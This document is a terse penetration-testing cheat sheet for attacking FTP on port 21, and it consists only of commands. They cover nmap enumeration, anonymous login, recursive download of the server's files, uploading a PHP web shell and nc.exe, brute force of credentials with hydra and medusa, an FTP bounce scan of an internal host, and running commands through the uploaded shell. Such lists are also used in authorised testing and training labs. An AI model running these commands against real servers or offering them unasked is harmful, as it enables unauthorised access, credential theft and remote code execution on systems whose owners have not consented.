21 - FTP

nmap -sV -sC -p 21 TARGET

nc -nv TARGET 21

ftp TARGET
# Username: anonymous
# Password: (empty or any email)

ftp -a TARGET

wget -r ftp://anonymous:anonymous@TARGET/

ftp> ls -la
ftp> dir

ftp> get file.txt
ftp> mget *.txt

ftp> put shell.php
ftp> mput *.txt

ftp> binary
ftp> put nc.exe

hydra -L users.txt -P passwords.txt ftp://TARGET

medusa -h TARGET -U users.txt -P passwords.txt -M ftp

nmap -Pn -b anonymous:anonymous@FTP_SERVER INTERNAL_TARGET

ftp> put shell.php

http://TARGET/shell.php?cmd=id

nmap -p 21 --script ftp-anon TARGET
nmap -p 21 --script ftp-brute TARGET
nmap -p 21 --script ftp-vuln* TARGET